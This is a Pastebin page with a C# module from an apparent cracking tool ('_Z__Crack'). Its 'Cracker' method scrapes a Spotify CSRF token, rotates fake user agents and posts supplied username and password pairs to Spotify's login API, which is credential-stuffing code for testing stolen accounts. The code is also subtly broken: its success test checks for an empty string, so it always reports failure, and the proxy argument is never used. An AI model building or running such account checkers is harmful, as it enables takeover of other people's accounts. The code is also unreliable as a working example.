Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.IO;
- using System.Collections.Generic;
- using System.Linq;
- using System.Text;
- using System.Threading.Tasks;
- using System.Net;
- using System.Text.RegularExpressions;
- using System.Collections;
- using System.Reflection;
- namespace _Z__Crack.Modules
- {
- class Spotify
- {
- public static CookieContainer Cookies = new CookieContainer();
- public static string RandomAgent()
- {
- List<string> UserAgents = new List<string>();
- UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1");
- UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0");
- UserAgents.Add("Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36");
- UserAgents.Add("Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36");
- UserAgents.Add("Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36");
- UserAgents.Add("Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko");
- UserAgents.Add("Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)");
- UserAgents.Add("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A");
- UserAgents.Add("Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25");
- UserAgents.Add("Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16");
- UserAgents.Add("Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51");
- UserAgents.Add("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7; en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17 Skyfire/2.0");
- Random rnd = new Random();
- var r = rnd.Next(1, UserAgents.Count);
- return UserAgents[r];
- }
- public static string csrf_token()
- {
- var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F");
- request.CookieContainer = Cookies;
- request.Method = "HEAD";
- request.KeepAlive = true;
- request.ContentType = "text/html;charset=utf-8";
- request.UserAgent = RandomAgent();
- var response = request.GetResponse().Headers.ToString();
- Match match = Regex.Match(response, "Set-Cookie: csrf_token=.*");
- string result = match.Value.Replace("Set-Cookie: csrf_token=", "");
- string[] result2 = result.Split(';');
- string finalresult = result2[0];
- return finalresult;
- }
- public static void GetCookies()
- {
- var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
- request.CookieContainer = Cookies;
- var postData = "remember=false";
- postData += "&username=USERNAME";
- postData += "&password=PASSWORD";
- postData += "&csrf_token=" + csrf_token();
- var data = Encoding.ASCII.GetBytes(postData);
- request.KeepAlive = true;
- request.Method = "POST";
- request.Accept = "application/json, text/plain, */*";
- request.Headers.Add("Origin", "https://accounts.spotify.com");
- request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
- request.Headers.Add("Accept-Encoding", "gzip, deflate");
- request.Headers.Add("Cache-Control", "no-cache");
- request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");
- request.ContentType = "application/x-www-form-urlencoded";
- request.UserAgent = RandomAgent();
- request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
- request.ContentLength = data.Length;
- using (var stream = request.GetRequestStream())
- {
- stream.Write(data, 0, data.Length);
- stream.Close();
- }
- var response = (HttpWebResponse)request.GetResponse();
- }
- public static bool Cracker(string username, string password, string proxy, bool randomize)
- {
- GetCookies();
- var request = (HttpWebRequest)WebRequest.Create("https://accounts.spotify.com/api/login");
- request.CookieContainer = Cookies;
- var postData = "remember=false";
- postData += "&username=" + username;
- postData += "&password=" + password;
- postData += "&csrf_token=" + csrf_token();
- var data = Encoding.ASCII.GetBytes(postData);
- request.KeepAlive = true;
- request.Method = "POST";
- request.Accept = "application/json, text/plain, */*";
- request.CookieContainer.Add(new Cookie("csrf_token", csrf_token()) { Domain = "accounts.spotify.com" });
- request.CookieContainer.Add(new Cookie("__bon", "MHwwfC0xNzE5NjQ0MjgyfC03MjIyNTA1OTg0NHwxfDF8MXwx") { Domain = "accounts.spotify.com" });
- request.CookieContainer.Add(new Cookie("fb_continue", "https%3A%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F") { Domain = "accounts.spotify.com" });
- request.CookieContainer.Add(new Cookie("_ga", "GA1.2.2129413168.1458374419") { Domain = "accounts.spotify.com" });
- request.CookieContainer.Add(new Cookie("_gat", "1") { Domain = "accounts.spotify.com" });
- request.Headers.Add("Origin", "https://accounts.spotify.com");
- request.Headers.Add("Accept-Language", "sv-SE,sv;q=0.8,en-US;q=0.6,en;q=0.4");
- request.Headers.Add("Accept-Encoding", "gzip, deflate");
- request.Headers.Add("Cache-Control", "no-cache");
- request.Headers.Add("Set-Cookie", "csrf_token=" + csrf_token() + ";Version=1;Domain=accounts.spotify.com;Path=/;Secure");
- request.ContentType = "application/x-www-form-urlencoded";
- request.UserAgent = RandomAgent();
- request.Referer = "https://accounts.spotify.com/sv/login?continue=https:%2F%2Fwww.spotify.com%2Fse%2Faccount%2Foverview%2F";
- request.ContentLength = data.Length;
- using (var stream = request.GetRequestStream())
- {
- stream.Write(data, 0, data.Length);
- stream.Close();
- }
- var response = (HttpWebResponse)request.GetResponse();
- var responseString = new StreamReader(response.GetResponseStream()).ReadToEnd();
- if (responseString.Contains(""))
- {
- return false;
- }
- else
- {
- return true;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement